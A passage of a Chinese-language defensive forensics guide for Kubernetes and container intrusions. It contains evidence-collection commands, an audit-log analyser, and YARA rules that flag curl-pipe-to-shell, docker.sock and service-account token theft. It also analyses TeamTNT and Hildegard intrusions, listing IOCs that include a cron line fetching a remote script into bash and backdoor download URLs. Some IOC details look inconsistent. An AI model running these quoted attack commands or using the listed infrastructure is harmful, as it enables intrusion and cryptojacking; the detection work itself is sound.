echo "=== OVS Flows ===" > "$EVIDENCE_DIR/network/ovs-flows.txt"
ovs-ofctl dump-flows br-int >> "$EVIDENCE_DIR/network/ovs-flows.txt" 2>&1

echo "=== Cgroup Anomalies ===" > "$EVIDENCE_DIR/system/cgroup.txt"
find /sys/fs/cgroup -name "release_agent" -exec cat {} \; >> "$EVIDENCE_DIR/system/cgroup.txt" 2>&1

echo "=== Process Tree ===" > "$EVIDENCE_DIR/system/procs.txt"
ps auxf >> "$EVIDENCE_DIR/system/procs.txt" 2>&1

echo "=== Kernel Messages ===" > "$EVIDENCE_DIR/system/dmesg.txt"
dmesg -T | tail -500 >> "$EVIDENCE_DIR/system/dmesg.txt" 2>&1

echo "Evidence collected to: $EVIDENCE_DIR"

Python 自动化脚本:Kubernetes 审计日志分析

#!/usr/bin/env python3
import json
import sys
from collections import defaultdict
from datetime import datetime

def parse_audit_log(log_path):
    suspicious_events = []
    user_activity = defaultdict(list)
    secret_accesses = []
    failed_auths = []

    with open(log_path, 'r') as f:
        for line in f:
            try:
                event = json.loads(line.strip())
            except json.JSONDecodeError:
                continue

            user = event.get('user', {}).get('username', 'unknown')
            verb = event.get('verb', '')
            resource = event.get('objectRef', {}).get('resource', '')
            namespace = event.get('objectRef', {}).get('namespace', '')
            code = event.get('responseStatus', {}).get('code', 0)
            ts = event.get('stageTimestamp', '')
            source_ip = event.get('sourceIPs', ['unknown'])[0]

            user_activity[user].append({
                'verb': verb,
                'resource': resource,
                'namespace': namespace,
                'code': code,
                'timestamp': ts,
                'source_ip': source_ip
            })

            if resource == 'secrets' and verb in ('get', 'list', 'watch'):
                secret_accesses.append({
                    'user': user,
                    'verb': verb,
                    'namespace': namespace,
                    'timestamp': ts,
                    'source_ip': source_ip
                })

            if code == 403:
                failed_auths.append({
                    'user': user,
                    'resource': resource,
                    'namespace': namespace,
                    'timestamp': ts,
                    'source_ip': source_ip
                })

            if user == 'system:anonymous' and code < 400:
                suspicious_events.append({
                    'type': 'ANONYMOUS_ACCESS',
                    'user': user,
                    'verb': verb,
                    'resource': resource,
                    'code': code,
                    'timestamp': ts,
                    'source_ip': source_ip,
                    'severity': 'HIGH'
                })

            if verb == 'create' and resource == 'pods/exec':
                suspicious_events.append({
                    'type': 'POD_EXEC',
                    'user': user,
                    'namespace': namespace,
                    'timestamp': ts,
                    'source_ip': source_ip,
                    'severity': 'HIGH'
                })

    return {
        'suspicious_events': suspicious_events,
        'user_activity': dict(user_activity),
        'secret_accesses': secret_accesses,
        'failed_auths': failed_auths
    }

def print_report(results):
    print("=" * 80)
    print("KUBERNETES AUDIT LOG ANALYSIS REPORT")
    print("=" * 80)

    print(f"\n[SUSPICIOUS EVENTS] Count: {len(results['suspicious_events'])}")
    for evt in results['suspicious_events']:
        print(f"  [{evt['severity']}] {evt['type']} @ {evt['timestamp']}")
        print(f"    User: {evt['user']} | Source: {evt['source_ip']}")

    print(f"\n[SECRET ACCESSES] Count: {len(results['secret_accesses'])}")
    for acc in results['secret_accesses']:
        print(f"  {acc['user']} {acc['verb']} secrets in {acc['namespace']} @ {acc['timestamp']}")

    print(f"\n[FAILED AUTHORIZATIONS] Count: {len(results['failed_auths'])}")
    top_failures = defaultdict(int)
    for auth in results['failed_auths']:
        top_failures[auth['user']] += 1
    for user, count in sorted(top_failures.items(), key=lambda x: -x[1])[:10]:
        print(f"  {user}: {count} failures")

    print(f"\n[USER ACTIVITY SUMMARY]")
    for user, activities in sorted(results['user_activity'].items(), key=lambda x: -len(x[1])):
        print(f"  {user}: {len(activities)} API calls")

if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <audit-log-path>")
        sys.exit(1)
    results = parse_audit_log(sys.argv[1])
    print_report(results)

YARA 规则:容器恶意镜像检测

rule Container_Malicious_Dropper {
    meta:
        author = "Blue Team Forensics"
        description = "Detects common container malicious dropper patterns"
        date = "2026/07/10"
        reference = "https://attack.mitre.org/techniques/T1059/"
    strings:
        $cgroup1 = "/sys/fs/cgroup" ascii
        $release_agent = "release_agent" ascii
        $docker_sock = "/var/run/docker.sock" ascii
        $proc_sys = "/proc/sysrq-trigger" ascii
        $nested1 = "nsenter" ascii
        $nested2 = "unshare" ascii
        $curl_pipe = /curl\s+.*\|\s*(ba)?sh/ ascii
        $wget_pipe = /wget\s+.*\|\s*(ba)?sh/ ascii
        $miner1 = "stratum+tcp://" ascii
        $miner2 = "stratum+ssl://" ascii
    condition:
        3 of them
}

rule Container_Kubernetes_Credential_Theft {
    meta:
        author = "Blue Team Forensics"
        description = "Detects Kubernetes credential theft patterns in container context"
        date = "2026/07/10"
    strings:
        $sa_token = "/var/run/secrets/kubernetes.io/serviceaccount" ascii
        $kubeconfig = "/etc/kubernetes/admin.conf" ascii
        $etcd_cert = "/etc/kubernetes/pki/etcd/" ascii
        $kubectl = "/usr/local/bin/kubectl" ascii
        $kube_api = "kubernetes.default.svc" ascii
        $token_request = "/apis/authentication.k8s.io/v1/tokenrequests" ascii
        $base64_decode = "base64 -d" ascii nocase
        $jq_filter = "jq -r" ascii
    condition:
        3 of them
}

0x09 公开案例分析

案例一:TeamTNT 云原生挖矿攻击

TeamTNT 是一个以云原生环境为主要目标的攻击组织,自 2020 年以来活跃至今。该组织专注于窃取容器环境中的凭据和计算资源,主要用于加密货币挖矿。

案例维度详情
攻击组织TeamTNT (又名 CHAOS SPIDER)
活跃时间2020 年至今
目标环境Docker、Kubernetes、AWS/Azure/GCP
攻击目的加密货币挖矿(XMR)、凭据窃取
MITRE ATT&CKT1059, T1611, T1040, T1552, T1027
首次公开报告Trend Micro, 2020

攻击链还原

阶段攻击行为使用技术IOC
1. 初始访问利用暴露的 Docker APIT1190 Exploit Public-Facing App扫描 2375/2376 端口
2. 载荷投递拉取恶意 Docker 镜像T1609 Container Administration Command镜像: digmine/xmrig
3. 执行在容器内启动挖矿程序T1059 Command and Scripting InterpreterXMRig 进程、stratum+tcp:// 连接
4. 信息收集窃取 AWS 凭据、Kubernetes TokenT1552 Unsecured Credentials/root/.aws/credentials, SA Token
5. 横向移动利用窃取凭据访问其他云资源T1078 Valid AccountsAWS AKIA 开头的 Access Key
6. 持久化创建 Cron Job 和新容器T1053 Scheduled Task/Jobcrontab 条目、Docker Daemon API
7. 防御规避禁用安全工具、清理日志T1562 Impair Defensessystemctl stop firewalld

关键 IOC

malicious_images:
  - "digmine/xmrig"
  - "teamtnt/redteamshell"
  - "teamtnt/iptables"
  - "hackingteam/rootkit"
stratum_pool:
  - "stratum+tcp://xmr.pool.minergate.com:45560"
  - "stratum+ssl://pool.supportxmr.com:443"
wallet_addresses:
  - "48edfHu7V9Z84YzzMa6fUueoELZ9ZRXq9VetWzYGzKt5"
c2_domains:
  - "teamtnt.team"
  - "airshellenterprize.pw"
  - "ddos.naflogy.com"
suspicious_cron:
  - "*/10 * * * * curl -sL http://45.xx.xx.xx/hidden.sh | bash"
  - "0 * * * * docker run --rm -d digmine/xmrig"

经验教训

  • Docker API 绝不能暴露在公共网络,必须通过 TLS 和证书认证保护
  • 容器环境必须实施最小权限原则,禁止以 root 运行容器
  • 云平台凭据(AWS/GCP/Azure)不应存储在容器内或环境变量中
  • 网络策略应限制容器的出站连接,尤其是矿池常见的高端口连接
  • Kubernetes ServiceAccount 的 automountServiceAccountToken 应设为 false(除非必要)

案例二:Hildegard 恶意容器攻击(TeamTNT 变种)

Hildegard 是 Trend Micro 于 2021 年发现的另一个针对 Kubernetes 环境的恶意攻击行动,被认为是 TeamTNT 的演进版本或关联组织。

案例维度详情
攻击组织Hildegard (TeamTNT 变种)
首次报告Trend Micro, 2021
目标环境Kubernetes 集群、Docker
特殊技术Process Hollowing、eBPF 滥用
MITRE ATT&CKT1055, T1611, T1027, T1059, T1572
挖矿币种Monero (XMR)

攻击链还原

阶段攻击行为使用技术取证特征
1. 初始访问利用暴露的 Docker API + 弱口令T1190, T1110 Brute ForceDocker API 2375 端口未授权访问
2. 后门部署下载并执行 meoow 后门脚本T1059 Command and Scripting Interpretermeoow、meoow.sh 文件
3. 内核交互利用 /proc/sysrq-trigger 逃逸T1611 Escape to Hostsysrq-trigger 写入
4. Process Hollowing替换合法进程执行恶意代码T1055 Process Hollowing/proc//exe 指向异常路径
5. 信息收集收集 kubeconfig、AWS 凭据T1552 Unsecured Credentialskubeconfig 文件读取记录
6. 横向传播利用 SSH 密钥尝试横移T1021 Remote ServicesSSH 连接日志
7. 资源劫持XMRig 挖矿程序运行T1496 Resource Hijacking高 CPU 使用率、stratum 连接

关键 IOC

malicious_files:
  - "meoow"
  - "meoow.sh"
  - "xmrig"
  - "xmr-stak"
dns_domains:
  - "teamtnt.team"
  - "airesei.pw"
  - "blastrac.com"
  - "173.249.218[.]49"
ip_addresses:
  - "173.249.218.49"
  - "91.215.85.142"
c2_urls:
  - "http://173.249.218.49/meoow"
  - "http://173.249.218.49/meoow.sh"
mining_pool:
  - "pool.minexmr.com:4444"
  - "xmr-usa.dwarfpool.com:8050"
process_names:
  - "xmrig"
  - "xmr"
  - "meoow"
  - "kdevtmpfsi"

经验教训

  • 容器环境应部署运行时安全工具(Falco、Tetragon)实时检测可疑系统调用
  • Process Hollowing 等高级攻击技术在容器环境中同样适用,需监控 /proc 文件系统异常
  • SSH 密钥管理应集中化,避免私钥散落在容器或主机上
  • 容器应限制 Linux Capabilities,移除 CAP_SYS_PTRACE 等高危能力
  • 网络策略应遵循零信任原则,限制 Pod 间通信和出站流量

0x0A 取证最佳实践与检查清单

取证响应流程

阶段关键动作负责团队时间要求
检测识别告警确认与初步研判SOC≤ 15 分钟
证据采集容器快照、审计日志导出、网络捕获蓝队/取证≤ 1 小时
隔离遏制问题 Pod 隔离、网络策略收紧运维/安全≤ 30 分钟
深度分析多层证据关联、攻击链还原取证团队≤ 24 小时
恢复重建受影响服务重部署、凭据轮换DevOps≤ 48 小时
复盘改进规则更新、防御加固安全团队≤ 1 周

取证检查清单

检查项检查方法严重度工具
特权容器运行kubectl get pods -A -o json | jq 特权检查🔴 高kubectl
ServiceAccount Token 自动挂载检查 automountServiceAccountToken🟡 中kubectl
容器以 root 运行检查 runAsNonRoot 配置🔴 高kubectl
暴露的 Docker API端口扫描 2375/2376🔴 高nmap
etcd 未加密通信检查 etcd peer-tls-secure 选项🟡 中etcdctl
审计日志未启用检查 API Server audit-policy.yaml🟡 中kubectl
默认 SA 权限过大kubectl auth can-i –list🔴 高kubectl
镜像未签名验证检查 admission controller 策略🟡 中cosign
容器日志未持久化检查日志收集配置🟢 低fluentd

0x0B 参考资料

编号标题链接
1MITRE ATT&CK - Cloud Matrixhttps://attack.mitre.org/matrices/enterprise/cloud/
2Kubernetes Audit Logginghttps://kubernetes.io/docs/tasks/debug-application-cluster/audit/
3CIS Kubernetes Benchmarkhttps://www.cisecurity.org/benchmark/kubernetes
4Falco Runtime Securityhttps://falco.org/
5Tetragon - eBPF Securityhttps://tetragon.cilium.io/
6Trend Micro - TeamTNT Researchhttps://www.trendmicro.com/en_us/research/20/l/teamtnt-cryptojacking.html
7Trend Micro - Hildegard Malwarehttps://www.trendmicro.com/en_us/research/21/h/hildegard-malware-teamtnt.html
8Kubelet Security Audit Guidehttps://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authn-authz/
9OVN Troubleshooting Guidehttps://www.ovn.org/en/dist-docs/troubleshooting.html
10Volatility Foundation - Cloud Memory Analysishttps://www.volatilityfoundation.org/
11NIST SP 800-125B - Secure Virtual Network Configurationhttps://csrc.nist.gov/publications/detail/sp/800-125b/final
12Cilium Network Policy Documentationhttps://docs.cilium.io/en/stable/security/